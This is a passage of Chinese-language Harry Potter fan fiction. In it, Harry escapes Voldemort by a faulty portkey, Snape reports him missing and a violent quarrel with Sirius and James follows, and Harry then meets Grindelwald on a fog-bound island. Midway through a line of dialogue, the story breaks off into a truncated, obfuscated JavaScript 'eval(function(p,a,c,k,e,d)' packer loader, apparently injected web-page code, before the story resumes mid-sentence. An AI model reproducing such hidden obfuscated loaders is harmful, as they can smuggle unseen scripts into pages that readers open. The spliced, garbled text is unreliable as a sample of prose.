他直视着伏地魔那双杀意沸腾的红色眼睛:“汤姆·里德尔,你所谓的回归,在我们看来不过是一场荒诞的闹剧。你当然可以继续沉浸在眼下这点微不足道的胜利中,但如果你足够聪明,就该立刻缩回你的老鼠洞去。因为真正的游戏才刚刚开始,你现在出现,只会自取灭亡。” “阿瓦达索命!” 致命的绿光从伏地魔的魔杖尖射而出,但哈利早已握紧了门钥匙,启动了魔法。 时间仿佛在这一刻放慢。哈利的目光越过迎面扑来的绿光,准确地与斯内普对上了视线。那双黑眼睛里已经卸去一切伪装。在这极短暂的对视里,千言万语都化作了沉默的理解。 斯内普的嘴唇颤动了一下,他突然失去了平时的冷静,猛然向前跨出一步,仿佛想要抓住什么。 但门钥匙已经生效,空间在哈利身边开始扭曲。 在被拉入虚空的最后一刻,哈利用口型无声地说道:“不是你的错。霍格沃兹见。” “封锁所有出口!”在一片绿光与惊叫中,伏地魔的怒吼远远传来,“抓住他!他跑不远!” 熟悉的拉扯感再次袭来,哈利被拽入了一片混乱的虚空之中。 可门钥匙传送的时间太长了。通常从这里到霍格沃兹只需要几秒钟,但这次的旅程似乎没有尽头。而且传送的感觉也不对,周围充斥着剧烈的颠簸和撕裂感,好像有什么力量在干扰着传送的过程。他觉得自己在虚空里被撕成无数碎片,又艰难地重新拼凑起来。 终于,在经历了漫长的旋转后,他被狠狠地抛了出来,重重摔在坚硬的地面上。 疼痛让他清醒过来。哈利挣扎着站起身,快速打量着四周—— 四面全是浓雾,脚下是湿滑的岩石,空气中充满了海水的咸味。远处隐约传来海浪单调的拍击声,一下又一下地撞在礁石上。 门钥匙出了问题。这里不是霍格沃兹。 而他根本不知道自己究竟落在了什么地方。 108. 失联 窗外的天色不知何时转阴了,厚厚的云层压得极低,连带着校长办公室里的光线也黯淡下来。小天狼星在椅子上又挪了一下位置。空气中飘浮着滋滋蜂蜜糖那甜得发腻的气味,平时他挺喜欢这股味道,可今天却觉得它烦人得要命。 他瞥了眼身旁的挚友。詹姆斯就坐在旁边,仍在汇报小汉格顿村的调查情况。他的语气很平,描述那些可怕的场面时毫无起伏——“自相残杀”“极度仇恨”“残忍手法”。每个词都引起小天狼星胃的一阵不适。 他的目光再次移到詹姆斯眼下的青黑阴影上,心知他昨晚肯定没睡——自从莉莉用那种失望透顶的语气说出“懦夫”这个词后,詹姆斯就像被抽走了灵魂。这让小天狼星既难受又烦躁。詹姆斯到底什么时候才能走出来?什么时候才会真心接纳哈利? 詹姆斯对自己好兄弟的想法一无所觉,正继续讲述着在那对老巫师夫妇家发现的情况。 “连巫师也没能幸免……”邓布利多手指间轻转着羽毛笔,“他们家里还有其他异常吗?” 詹姆斯眉头皱起:“我察觉到了一点魔法痕迹,非常微弱,但……” 小天狼星已经开始走神了。詹姆斯的声音逐渐模糊成不重要的背景声。他的思绪飘到了今天早上的凤凰社会议。莉莉肯定见到哈利了,以她的性子,绝不会让事情就这么过去。不知道他们聊得怎么样?不过莱姆斯也在,他应该会安排好的。该死,他真该一起去的。但愿哈利能好受一些。不管怎么样,莉莉得知真相后能坚决站在哈利那边,这让小天狼星悬了好久的心终于落了下来。现在唯一头疼的,就是莉莉和詹姆斯的冷战不知道还会继续多久。 这边一结束,他必须马上去找哈利。那孩子现在应该也回到霍格沃兹了。最好能把他带回峡谷之屋,或者直接送到莉莉家,她肯定巴不得哈利搬回去住。 另外,他还得好好提醒哈利,离斯内普那个阴险的混蛋远一点!一想到昨晚那个荒唐的梦,还有斯内普看哈利时那种不对劲的眼神,小天狼星就恨不得朝他甩几道恶咒—— “小天狼星?” 他回过神,发现詹姆斯和邓布利多正望着他。詹姆斯眉头锁得更紧了,显然对他的走神感到不满。 他赶忙坐直身体,轻咳一声:“怎么了?” “我问你还有没有要补充的。”詹姆斯语气明显透着不耐烦。 小天狼星其实一个字都没听进去,但他完全相信詹姆斯的专业能力,随手一挥:“我知道的你都说了。” 詹姆斯抿紧了嘴——那表情小天狼星熟得不能再熟,分明是在压着脾气。 “伏地魔似乎和以前不太一样了。”邓布利多这时开口,声音不大,却吸引了所有注意,“结合目前的情报,我们几乎可以肯定一件事。” “是什么?”小天狼星又坐直了一些。 邓布利多摘下眼镜,用长袍的边角仔细擦拭镜片,重新戴好后才继续说:“我认为伏地魔并不是单纯地制造恐惧,或者为某种仪式做准备。这次的行动更像是某种实验。” “实验?”詹姆斯追问。 “当然,这只是我的猜测,”邓布利多神情凝重,“或许他正在测试一种全新的黑魔法,以检验它的威力和效果。目前的信息还太少,无法判断他的最终目标。但如果他成功,我们将面对的是一个前所未有的敌人——更强大,更难以预料。” 沉重的气氛笼罩了办公室,墙上的历任校长画像也不再交谈。 “今天的凤凰社集会,我们已经全面调整了部署。”邓布利多的声音打破了这阵安静。他的双手交叉,抵在下巴下面,“必须做好最坏的打算。现在关键是要预测伏地魔的下一步,这还得依靠哈利与西弗勒斯——” 话未说完,门外传来一阵急促凌乱的脚步声。邓布利多迅速抬头望向门口。下一刻,办公室的门被狠狠撞开。 小天狼星和詹姆斯同时跳起来,魔杖已经握在手中。但当看清来人后,小天狼星的戒备变成了厌恶。 来人是他眼下最不想见到的那个——西弗勒斯·斯内普。 斯内普似乎是一路跑来的,冲进门时甚至被自己的长袍下摆绊了一下,踉跄几步才站稳——小天狼星好久没见他这么狼狈了。 他袍子上满是尘土,几缕黑发乱糟糟地黏在苍白的脸颊上,额头的汗珠不住往下淌。一进门,他的眼神就疯狂地扫遍每个角落,像是在阴影里找什么东西。 “哟,”小天狼星冷笑出声,语气里满是挖苦,“我们伟大的斯莱特林院长是迷路了,还是被哪只鹰头马身有翼兽撵得满地跑?”看到斯内普这副倒霉模样——不管是谁造成的,他都觉得痛快极了,按捺不住想再刺几句。 邓布利多却拦住了他。 “西弗勒斯。”老校长站起身,目光落在斯内普身上。他的动作看似从容,神情却已经变得极为严肃。他上下打量着狼狈不堪的魔药教授,又探头瞥了眼空荡荡的门口。 “哈利在哪儿?” 这个名字从他口中说出时极轻,却重重砸在小天狼星和詹姆斯心头。 小天狼星的嘲笑僵在嘴角。一旁的詹姆斯愣住,眼神钉在斯内普身上。 斯内普的回答带着明显的颤抖:“我不知道……” 邓布利多湛蓝的眼睛危险地眯了起来:“我记得交代得很清楚,情况一有不对,立刻使用门钥匙撤离。” “门钥匙?什么情况不对?”小天狼星急得插话。 斯内普完全无视了他,黑眼睛直勾勾盯着邓布利多:“我亲眼看着他使用了门钥匙。”他咬紧了牙关,“可他没有回来。我找遍了霍格沃兹,哪里都没有——” “伏地魔发现了他的身份?”邓布利多的声音沉了下去。 “没有暴露真实身份。”斯内普艰难地说,“但黑魔王确实起了疑心,怀疑小克劳奇不是本人。” 直到这时,小天狼星和詹姆斯才从这段对话中拼凑出真相——哈利跟斯内普去见伏地魔,哈利扮成小巴蒂·克劳奇,身份露馅后用了门钥匙逃跑,可现在人却不见了。 小天狼星的脸刷地白了。而詹姆斯身体晃了一下,险些站不稳。 “你们是说……哈利他……” “我们稍后再讨论细节。”邓布利多快步走向办公室角落的雕花橱柜,魔杖一挥,柜门无声滑开,露出里面摆得整整齐齐的银色仪器。 “这是追踪装置。”邓布利多一边说,一边把它们取出,“每件都连着不同的追踪魔法。” 他魔杖在空中划出繁复的轨迹,仪器开始转动、发亮,发出阵阵奇异的声响。办公室被银光淹没,墙上画像里的校长们纷纷捂住眼睛。 可没多久,光芒就暗了下来。一个接一个,仪器停止了运转,发出失望的嗡鸣声后归于沉寂。 “追踪魔法,全部失效了。”邓布利多终于抬头,低声宣布了这个令人绝望的结果。 小天狼星瞬间失去了控制。他冲过去一把抓住斯内普的前襟,把他狠狠拉向自己,冲着他咆哮:“你自己怎么没事?你只要自己安全就行了是吗,胆小鬼?你怎么能扔下他一个人——” “松手,布莱克。”斯内普厌恶地看着他,眼里毫不掩饰恨意,“还轮不到你来教训我!” “住手,小天狼星!”詹姆斯急步上前,将小天狼星用力推到一旁,接着转向斯内普,“告诉我到底出了什么事?他为什么会暴露?” 斯内普慢慢扭头看向詹姆斯,嘴角扯出一个恶毒的冷笑:“哦,你现在倒是想起关心他来了,波特?你又凭什么来质问我?” “现在不是互相指责的时候!”邓布利多喝止了他们的争执,“门钥匙是我亲手设置的,不可能无缘无故失效。哈利没能回来,一定是中途出了什么状况。我需要弄清楚事情的全部经过。西弗勒斯,如果你不介意,我需要查看你的记忆。” 斯内普的身子明显一僵。他的右手——小天狼星这时才瞧见那只手一直在微微发抖——攥成拳头,又缓缓松开。 “伏地魔那边……情况很棘手。”他沉默了片刻,终于点头道:“我确实需要直接向您展示记忆。不过……”他的目光扫过一旁怒不可遏的小天狼星和脸色惨白的詹姆斯,“有些记忆,我只愿意单独展示给您,校长,不适合其他人旁观。” “其他人?”小天狼星猛然提高声音,“哈利是我的教子!” 詹姆斯转向邓布利多,急切地说:“阿不思,我们必须知道真相,任何细节都不能放过。” 邓布利多抬手示意他们稍安勿躁。他注视着斯内普,缓缓地说道:“西弗勒斯,我理解你的顾虑。但时间紧迫,每一秒都关乎哈利的安危。他们是哈利的家人,也是凤凰社的核心成员。他们或许能从你的记忆中发现我们忽略的重要线索。” 斯内普的脸色变得阴沉,他盯着邓布利多,眼神复杂而阴郁,似乎在进行一场痛苦的抉择。最终,他缓缓地移开目光,从詹姆斯脸上掠过,又落在小天狼星的脸上。 邓布利多继续道:“况且,他们已经知道你和哈利一起执行任务。隐瞒只会引发猜疑,而现在我们最不能失去的,是信任。” 斯内普闭了一瞬眼睛,再睁开时,脸上露出一个恶意的笑容。 “好吧。”他冷冷地开口,“既然你们非要看,想了解自己有多愚蠢……那就如你们所愿。我只奉劝你们一句——” 他顿了顿,一字一顿地说: “到时候,别后悔。” “西弗勒斯。”邓布利多低声警告。 但斯内普已经不再理会。他转身拿起魔杖抵在太阳穴上,闭上眼睛,缓缓抽出一缕银色的记忆。 邓布利多挥动魔杖,一个石盆从柜中漂浮而出,静静停在办公桌上方。银色的记忆缓缓落入盆中,形成了一道旋转的漩涡。 小天狼星没有丝毫犹豫,第一个将脸沉入银色液体中。他必须亲眼看看这个前食死徒究竟对哈利做了什么。 —————— 他们站在一个幽暗的大厅里。伏地魔站在房间中央,食死徒围成半圈,黑袍在地上摊开,像一群匍匐的乌鸦。 小天狼星的眼神急切地扫遍四周,终于在角落里找到伪装成小巴蒂·克劳奇的哈利。 记忆飞快掠过——伏地魔得意地展示小汉格顿的惨象,病态的兴奋简直要从他脸上溢出来。画面一转,他的目光落在了“小克劳奇”身上。 “失败必须付出代价。”那个冰冷的嗓音像蛇一样滑过小天狼星的神经,“西弗勒斯!给他一个教训。” “钻心剜骨!” 咒语从斯内普口中吐出的瞬间,小天狼星感觉自己的血液都冲上了头顶。他看着哈利在剧烈的疼痛中倒下,恨不得冲上前去掐死斯内普,但肩膀却被詹姆斯狠狠按住,动弹不得。 “冷静,大脚板,这只是记忆。”詹姆斯嘴上这么说,可他自己也死死盯着眼前的场景,浑身都紧绷着。 场景再次跳转,卢修斯·马尔福被推到前面。当那段峡谷之屋的记忆被强行抽出时,小天狼星觉得自己的心都凉透了。他们每一个动作,都清晰地呈现在所有食死徒面前。 “巴蒂,我现在赐予你这个荣耀——去把他们中的一个请来。”伏地魔阴险地微笑,“选吧,巴蒂。波特,还是布莱克?” 他们眼睁睁地看着哈利被一步步逼进死角,只为了保护他们两人。 记忆还在继续。哈利撕掉伪装,毫不退缩地直面伏地魔,最后抓住门钥匙消失不见。 哈利消失后,伏地魔的怒火席卷了大厅。钻心咒一道接一道落下,食死徒纷纷倒地,惨叫声此起彼伏。 只有斯内普还站着。 终于,伏地魔停了下来,冰冷的目光落在斯内普身上,“西弗勒斯,你怎么看?” “主人,”斯内普低下头,“我和您一样震惊。我从未怀疑过巴蒂的身份。” “那个人说你被利用了,”伏地魔缓步走近,用魔杖尖轻轻点在斯内普的脸颊上,“真是可怜,西弗勒斯。你如此忠诚地为我传递消息,尽心尽力完成每一个任务……” 魔杖顺着他的颧骨缓缓滑到下巴,“结果呢?你以为自己在为我效力,实际上却成了别人手中的刀。看来我们都低估了对手的狡猾程度。有人在我眼皮底下演了这么久的戏。” 他收回魔杖,赤红的眼睛死死盯着斯内普:“告诉我,西弗勒斯,你真的对此一无所知?” 斯内普垂下眼睑,平静地回答:“主人,如果我有任何怀疑,哪怕是最微小的疑虑,我都会立刻向您汇报。显然我太过自信,这是我的失职。” 伏地魔长时间盯着他,似乎想从他空洞的眼神中挖掘些什么。最终,他低声道:“我本以为这盘棋只有我和邓布利多,现在看来,我们还有一个更隐秘的对手。” “回霍格沃兹,西弗勒斯,密切监视邓布利多。任何异常——任何蛛丝马迹——都必须立刻向我汇报。” “是,主人。” 伏地魔扫了眼瑟瑟发抖的食死徒们:“继续你们原本的任务,但未经我的允许,谁也不准轻举妄动。” 他不耐烦地一挥手:“现在,都滚吧。” 记忆到此中断。 —————— 小天狼星从冥想盆中抬起头,整个人都在剧烈颤抖。 “你这个混蛋——” 他径直冲向斯内普,毫无预兆地挥出一拳,狠狠砸在对方脸上。 “你竟敢对他用钻心咒!”他怒吼着,又紧接着挥出第二拳。 斯内普踉跄后退,嘴角立刻渗出了血。他眼中的震惊转瞬变成怒火,反手狠狠推了一把。小天狼星重重撞在书架上,几本书摔在地板上。 “不然呢?”斯内普厉声道,“违抗黑魔王的命令,让我们两个当场暴露?” “现在还不是一样暴露了!”小天狼星再次冲上去,“你就不能想个办法?你潜伏那么久,就这点能耐?” 两个人扭打在一起,椅子被撞翻,袍子撕裂,拳头毫无章法地落在对方身上,谁都没想起用魔杖。斯内普一拳砸中小天狼星的鼻子,小天狼星揪住他的领口,拼命想把他摁到墙上。 混乱中,小天狼星一把抓住了斯内普的右手腕——那只刚刚对哈利施过钻心咒的手。那只手竟然还在颤抖,而且抖得十分厉害。 “哈,你的手在抖?”小天狼星盯着那只颤抖的手,目光顿时变得更加愤怒,甚至透着几分厌恶,“对哈利下咒时,你是不是很享受?” 斯内普猛地抽回手,脸色铁青,一时竟说不出话来。 小天狼星嘴角浮起一个恶狠狠的冷笑:“被我说中了吧?你根本就毫不犹豫地折磨了他!” 斯内普的脸色刷地惨白,他的嘴唇颤动了一下,随即用更尖刻的语气反击:“你以为你们两个蠢货能好到哪里去?要不是你和波特暴露在卢修斯面前,黑魔王根本不会怀疑,更不会逼他亲自动手对付你们!” 这句话像狠狠一记耳光抽在小天狼星脸上。他胸口堵得厉害,一股难以言明的愤怒又涌了上来,正准备再次扑过去,却被人一把拉住。 “冷静点,小天狼星!” 詹姆斯冲了上来,被小天狼星一肘撞开了,“你疯了吗?现在最重要的是找到哈利,不是在这里打架!” “所以他对哈利用了钻心咒的事就这么算了?”小天狼星转过头,鼻血流到嘴边,“我可做不到你这么冷静,詹姆斯·波特。你儿子为了保护你才陷入险境的,你却还在这儿——” “别说了!”詹姆斯的眼睛通红,整个人在发抖,“不要再说了……” 小天狼星冷笑着,“莉莉说得对,你就是个懦夫!你儿子就在你面前,你却装作看不见!现在好了,他可能已经——” “闭嘴!”詹姆斯的理智也崩了。他冲上去,一拳打歪了小天狼星的脸,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他猛地住口,后面的话像是被自己死死地掐断在了喉咙里。 办公室里瞬间安静下来,只剩粗重的喘息声。 小天狼星敏锐地抓住了这个破绽,眯起眼睛,带着恍然大悟的神情:“你什么?啊,我明白了。”他的语气变得危险,“终于露馅了?我早就觉得你不对劲。” “你敢说,你对哈利没有那种心思?一直用那种恶心的眼神盯着他……你以为我看不出来?” 办公室陷入了死一般的沉默。墙上的画像们一眨不眨地注视着眼前这副混乱的景象。 邓布利多轻轻叹了口气,似乎对眼前的闹剧感到无比疲倦。他没有再多说什么,径直回到办公桌后,取出一张羊皮纸开始迅速地书写起来。 而詹姆斯惊愕的目光在小天狼星和斯内普之间来回移动,试图理解刚才那个骇人的指控:“什么……你说什么心思?” 斯内普站在那里,脸色从未如此难堪,整个人像被石化咒击中一般。他的脸上毫无血色,“你……你竟然敢……” “看吧!你根本不敢否认!”小天狼星的愤怒和恐惧全找到了宣泄口,“哈利那么信任你,可你居然对他——” “闭上你的嘴,布莱克!”斯内普表情狰狞又轻蔑,“继续用你肮脏的脑子去想象吧,毕竟把所有人都想得跟你一样龌龊,就是你最大的本事。” “龌龊?”小天狼星冷笑,“那你倒解释一下,你看哈利的眼神——” “够了!”詹姆斯猛然吼了出来,“够了!我的儿子失踪了!他可能已经——而你们还在这里吵这些?” 他挣扎着起身,跌跌撞撞地走向门口:“我要去找他。我不能再失去他了……” “坐下,詹姆斯。”邓布利多头也不抬地写着信,“你现在打算去哪里找?我们甚至都不知道他到底被传送去了什么地方——是整个英国,还是欧洲?” “那我就去伏地魔那里找!”詹姆斯回头,眼眶通红,“去任何可能的地方!总比在这里——” “没用的。”斯内普低声说道,“如果黑魔王抓住了他,我们早就知道了。他会……”他没有再继续往下说,但其他人都听懂了那个未说出口的结果。 “但我们总不能就这样坐着干等!”小天狼星焦急地转向邓布利多,“用飞路网搜索!派凤凰社的人出去!发动所有能发动的人——” “你也坐下,小天狼星。”邓布利多写完了最后一行字,“我会联系我的老友尼古拉斯·弗拉梅尔,他在门钥匙方面颇有研究,也许能找到线索。当然,凤凰社也必须全员出动。” 斯内普已经转身向门口走去:“我没时间浪费在这里,我去其他地方找他。” “你?”小天狼星冷嘲道,“谁知道你找到他之后会做些什么!” 斯内普猛地回头,黑眼睛里杀意毕露:“你再多说一个字,布莱克,我发誓——” “我说了坐下!”邓布利多的声音严厉起来。 这次,三人都被一股力量硬按回椅子里。 “慌乱解决不了问题,我们必须相信哈利有足够的能力应付任何危机。”邓布利多透过半月形眼镜凝视着他们,“眼下要紧的是计划下一步——” 一团柔和的银光毫无预兆地在办公室中央亮起。 所有人立刻站了起来,目不转睛地盯着那团渐渐成形的银色光影。 一头银色的牡鹿踏着稳健的步子,从光芒中现身出来。它的鹿角泛着柔和的光泽,整个身躯散发着安定人心的气息。 “不……”詹姆斯像是被掐住了喉咙。 小天狼星瞪大了双眼。尖头叉子——这是詹姆斯的守护神,可他的魔杖还在袍子里。 牡鹿开口了,是哈利的声音:“我很安全,遇到一些意外情况。不用担心。” 守护神说完,便化作一缕银色的烟雾,消散在空气里。 詹姆斯的腿一软,重重跌坐回椅子上,接着整个人缓缓滑落到地板上。他盯着那片空处,嘴唇在颤抖,却发不出任何声音。 小天狼星的怒火像被戳破的气球一般消散了。他呆呆地望着詹姆斯,声音沙哑得不像话:“尖头叉子,那是……梅林啊,那是……” “我的守护神。”詹姆斯终于颤抖着发出声音,“我的儿子……他一直都是我的儿子……而我……” 他抱住自己的头,整个人蜷缩成一团:“我做了什么?我到底做了什么?” 斯内普还目不转睛地凝视着守护神消失的地方,神情复杂难测,一直紧绷着的身体在那团银光散去之后,终于稍稍放松了一些。他一言不发,只是默默地退回到房间阴暗的角落,将自己隐入了阴影里。 邓布利多疲惫地叹了口气:“都坐下吧。” 没人动。詹姆斯仍旧蜷缩在地上,双手遮住脸庞。小天狼星站在他身旁,手搭在朋友的肩膀上,却不知道该说些什么。 老校长将刚刚写完的信折好收进抽屉——显然已经没有寄出去的必要了。 “听着,”他语气平静地说道,“哈利活着,并且安全。这是最重要的。而且即便在里德尔府那种绝境中,他用自己的智慧进行了反击,成功地让伏地魔产生了忌惮,为我们赢得了宝贵的时间。他做得非常的出色。” 邓布利多顿了顿,眼中的欣慰一闪而过:“不过,他说的‘意外情况’,恐怕事情并不简单。” “会是什么意外情况?”小天狼星抬起头问道,“果然是有人故意干扰了门钥匙吗?” “这正是我担心的。”邓布利多眼中闪过忧色,“能干扰我设置的门钥匙,除了伏地魔以外,全英国恐怕不超过三人——但他们都没有理由这样做。” “您的意思是……”斯内普的声音从阴影中传来。 邓布利多十指交叉搁在桌上:“显然,有人并不希望哈利顺利返回霍格沃兹。至于那个人的真实目的……” 窗外传来沉闷的雷声。暴雨,即将来临。 109. 时间裂痕(上) 海雾翻涌不息,将这座无名小岛裹进一片灰白迷雾之中。老人站在窗前,凝视着雾气在玻璃外无声地流动。 “三、二、一……” 他轻声数着,唇边浮现一丝淡淡的笑意。 就在最后一个字出口的瞬间,远处浓雾中闪过一道蓝色的光亮,转瞬即逝——那是门钥匙抵达时特有的痕迹。老人徐徐转过身,步伐从容地走向门口。漫长的等待早已磨去了他的焦躁,而今夜,另一个同样被时间困扰的灵魂即将到来。 “让我看看吧,”他低声自语,“这一次,命运又将如何安排。” —————— 空气中弥漫着海水特有的咸腥,寒冷而潮湿的风刮在脸上,带着湿润的凉意。哈利站在一块湿滑的礁石上,脚下是翻滚的海浪,四周全是厚重的雾气。他皱起眉头,警惕地举起魔杖,飞快地扫视四周。 很显然,门钥匙出了问题。 邓布利多给他的门钥匙本该把他直接送回霍格沃兹大门外,而现在,他却孤零零地站在这座陌生的小岛上。 他眯起眼睛,透过迷雾隐约看到岛中央矗立着一栋简陋的石屋,昏黄微弱的灯光透过窗户闪烁着,除此之外,再无任何生命迹象。 他迟疑了片刻,别无选择地迈开脚步,小心翼翼地朝那座石屋走去。 还没等他走到门前,那扇破旧的木门就自动打开了。 “我等你很久了。” 阴影中,一个苍老却沉稳的声音响起。 哈利立即停住脚步,迅速将魔杖对准声音传来的方向。 一名瘦削却依旧挺拔的老人缓步从屋内走了出来。他有一双深邃而锐利的蓝色眼睛,花白的头发一丝不苟地向后梳理着,灰色长袍朴素而整洁,乍看之下就像个普通到毫不起眼的老巫师。 但哈利一眼就认出了他——他上一次见到这个人,还是在纽蒙迦德。 盖勒特·格林德沃神色平静,像早就料到了一切,“看来,你需要一点‘帮助’。” 哈利这时还顶着小克劳奇那张苍白憔悴的面孔。他的身体顿时紧绷起来,魔杖牢牢指向对方,语气满是戒备: “盖勒特·格林德沃?” 他的大脑在寒冷的空气中飞速分析着现状:格林德沃怎么会在这里?门钥匙是被他动了手脚?这里到底是什么地方……最重要的是,斯内普还在里德尔府,那人一定急坏了,他必须尽快回去—— “在陌生的地方,用魔杖指着唯一可能帮到你的人,”格林德沃略略偏了偏头,那双蓝色眼睛锐利地审视着伪装中的年轻人,“可不是个明智的举动,哈利·波特。” 哈利心头一跳。格林德沃轻易叫破了他的身份,这并未完全出乎他的意料,但这意味着对方对他的处境知道得远比他想象中更多。 他攥着魔杖的手下意识地更用力了些,“你应该藏得更远一些。就不怕再被送回纽蒙迦德吗?” “‘应该’这个词,对我们这种人来说意义不大,不是吗?”格林德沃轻轻哼了一声,“毕竟,你也‘应该’待在某个遥远的未来,而不是出现在1993年。” 哈利瞪大了眼睛。 格林德沃对他的反应似乎毫不在意,侧身让出门口的位置,做了个请进的手势:“先进来吧,外面可不太适合长聊。再说了……”他瞥向远处的雾气,“有些话,还是别在这么空旷的地方说比较好。” 哈利迟疑片刻。理智提醒他绝不能轻易信任一位前黑魔王,但直觉告诉他,如果格林德沃真想对他不利,以对方的实力实在没必要如此大费周章。在这片茫茫大海上,他也确实没有更好的选择。 短暂的犹豫之后,他终于放下魔杖,跟随格林德沃走进了石屋。 石屋内部比外面看起来还要简陋昏暗。墙壁上爬满了散发着幽弱微光的魔法苔藓,成为这里唯一的光源。一张饱经风蚀的橡木桌摆在中央,旁边是两把看起来随时会散架的椅子,壁炉里空空荡荡,只剩几块冰冷的炭灰。最引人注目的是屋子尽头的一面墙,上面贴满了羊皮纸——密密麻麻的计算公式、星盘图表,以及被反复涂抹修改过的日期和时间线。 格林德沃走到桌旁,提起早已备好的茶壶:“我煮了茶。虽然这里的条件简陋,但基本的待客之道还是要有的。”他举止优雅从容,“我们今天的谈话恐怕要花些时间。” “你住在这儿?”哈利正警惕地打量着四周,指尖突然传来一阵轻微的刺痛,脸部肌肉也开始不由自主地抽动起来。他心里惊疑不定,长效复方汤剂可以持续好几天甚至一个月,可从离开睿瓦纳塔到现在才不过几个小时,怎么会这么快就要失效?难道这座岛上有什么特殊的魔法能压制变形? 格林德沃察觉到了他的异常,倒茶的动作却丝毫未停:“只是暂时落脚的地方。”他将一杯茶推到哈利面前,又指了指旁边的椅子,“放松些吧,年轻人。我不能说我们是同一阵营,但至少这一刻,我不是你的敌人。” 哈利目光沉沉地盯着茶杯,没有伸手去接。 “如果我想从你这里得到什么,”格林德沃轻笑,抬起自己的茶杯喝了一口,“相信我,我手里可有比吐真剂有效得多的手段。而且……”他饶有兴致地看着哈利脸上越来越明显的变化,“看来你马上就要恢复原貌了。这很好,坦诚相见总比互相隐藏更利于沟通。” 复方汤剂的效力消退得很快。哈利感受到那种熟悉的、令人不适的扭曲感在身体里蔓延:皮肤变得滚烫,仿佛无数细小的昆虫在肌肤之下爬行;骨骼轻微地响动着,肌肉和骨架在看不见的力量下被重新塑造。苍白的皮肤逐渐恢复了正常的色泽,瘦削的脸颊重新饱满起来,最明显的是那双眼睛——从小克劳奇浅淡的颜色逐渐变回了他本人的翠绿色。 格林德沃安静地注视着整个过程。等哈利终于完全恢复真容,以自己的模样坐在他对面时,老人的视线几乎立刻落在了年轻人额头那道醒目的伤疤上。 “这道伤疤……”格林德沃放下茶杯,身体微微前倾。 他的目光中流露出探究与兴味:“在古老的魔法理论中,伤疤被视作灵魂的一道窗口——尤其是那些由最黑暗的诅咒所留下的痕迹。” 哈利不自觉地抬手摸了摸额头。自从来到这个时代,他最庆幸的就是再没有人会盯着他的伤疤大惊小怪。在这里,它不过是个普通的伤痕,不再是“大难不死的男孩”的象征。知晓它含义的人寥寥无几,但现在,显然又多了一个。 “你认得它。”他用陈述的语气说道。 “我认得的东西,可不止这一道疤。”格林德沃神秘地笑了笑。 两人一时沉默不语。哈利终于还是伸手端起了茶杯,啜饮一口。茶水温热,味道有点古怪,但他也没心思去品尝。格林德沃也不催促,只是不急不躁地喝着茶,仿佛拥有全世界的耐心。 “你比我想象中更沉得住气,”格林德沃给自己倒了第二杯茶,率先打破沉默,“我原以为你会迫不及待地抛出一连串的问题,比如我为什么在这里,又怎么知道你的身份,或者其他什么……” “我确实有很多问题。”哈利放下茶杯,迎上对方的目光,“但我猜你不会轻易回答,就像我也不会轻易相信你一样。你费了这么大劲把我‘请’到这里,一定有你的目的。” 格林德沃眼中流露出赞许:“不错。既然如此,让我们先来解决这个‘信任’的难题。”他站起身,“你当然不相信我,一个曾妄图统治世界的疯子,邓布利多的宿敌;而我呢,也需要确保你说的每句话,都毫无虚假。” 他走到墙边,手指在一块不起眼的石头上划过一道复杂的符文。石墙无声滑开,露出一个由魔法维持的储物空间。他伸手从里面取出一只水晶制成的沙漏,小心翼翼地托在掌心。 哈利的目光立刻被那个沙漏牢牢吸引了。它通体晶莹透明,里面细腻的沙粒在暗淡的光线中散发着微弱的荧光,上下两端各自刻有精致而繁复的符文。这件物品与破旧的石屋格格不入,看上去精致得过分。 “血契沙漏,”格林德沃将它轻放在桌上,“一件非常古老的魔法物品,用来保证对话的诚实。” “它是怎么运作的?”哈利端详着沙漏,察觉到一股淡淡的古老魔力从中散发出来。 “简单得很。”格林德沃一挥手,沙漏便飘浮起来,在半空中缓缓旋转,“血契的前提是双方自愿。” 说着,他毫不犹豫地划破指尖。一滴血珠落入沙漏上端浅浅的凹槽,瞬间被沙漏吸收,符文随即亮起柔和的金光。 “该你了。立下契约,我们就能开始一场坦诚的问答。” “如果我拒绝呢?”哈利谨慎地问。 格林德沃耸了耸肩,“那我们就继续喝茶,互相猜忌,直到你找到离开这里的办法。顺便提一句……”他漫不经心地瞄了眼窗外愈发浓重的雾气,“这里设有反幻影移形咒,至于最近的陆地在哪儿……但愿你的游泳技术不错。” 哈利凝视着飘浮的沙漏,金色光芒在他脸上投下晦暗的阴影。 “具体规则是什么?” “每人轮流提问,每人十个问题。”格林德沃再次坐下,手指交叉叠在桌面,“如果有人说谎,沙漏会发出红光,想忽视都不行。当然,你可以选择跳过不愿回答的问题,但最多只能跳过三次,每跳过一次,对方就能额外多问一个问题。” 哈利略一沉吟,没有马上答应:“我还有个条件。” 格林德沃微微挑了挑眉,“你说。” “我需要先传个信报平安,我的……朋友们会担心。” 格林德沃略微迟疑片刻,便轻轻挥了挥手,做了个请便的姿势。 哈利深吸一口气,举起魔杖:“呼神护卫!” 一团银色的光雾从杖尖喷薄而出,在狭小的石屋中凝聚成一只雄壮的牡鹿。它昂首站立,银色的光辉让整个房间都亮了起来。 哈利原本打算将守护神送去找斯内普,但转念一想,斯内普很可能还困在里德尔府,守护神贸然现身只会带来更多危险。他快速做出了调整,低声对守护神说道:“告诉邓布利多,我很安全,遇到一些意外情况。不用担心。” 牡鹿优雅地点头,化作一道流光穿墙而去。银光消失后,房间重新陷入昏暗。 “牡鹿……”格林德沃眯起眼,注视着流光消失的方向,“很有意思的选择。在古老的传说中,牡鹿象征着高尚与勇气。而在凯尔特神话里,白色的牡鹿则被认为是迷途之人的引路者。” “你到底想说什么?”哈利收起魔杖,语气中透着戒备。 格林德沃摆了摆手,眼里却闪过更浓的好奇,“没什么。只是守护神的形态,往往能映照出施咒者内心最真实的模样……” 他不再继续这个话题,转而看向飘浮在半空的沙漏,“现在,假设你决定好了?” 哈利抿了抿嘴,划破手指将血滴入沙漏的另一端。两滴血珠在沙漏中相融的刹那,水晶内部迸发出柔和的金光。沙漏慢慢竖立起来,稳稳悬在两人之间。细密的沙粒开始流动,每一粒都带着微弱的闪光。 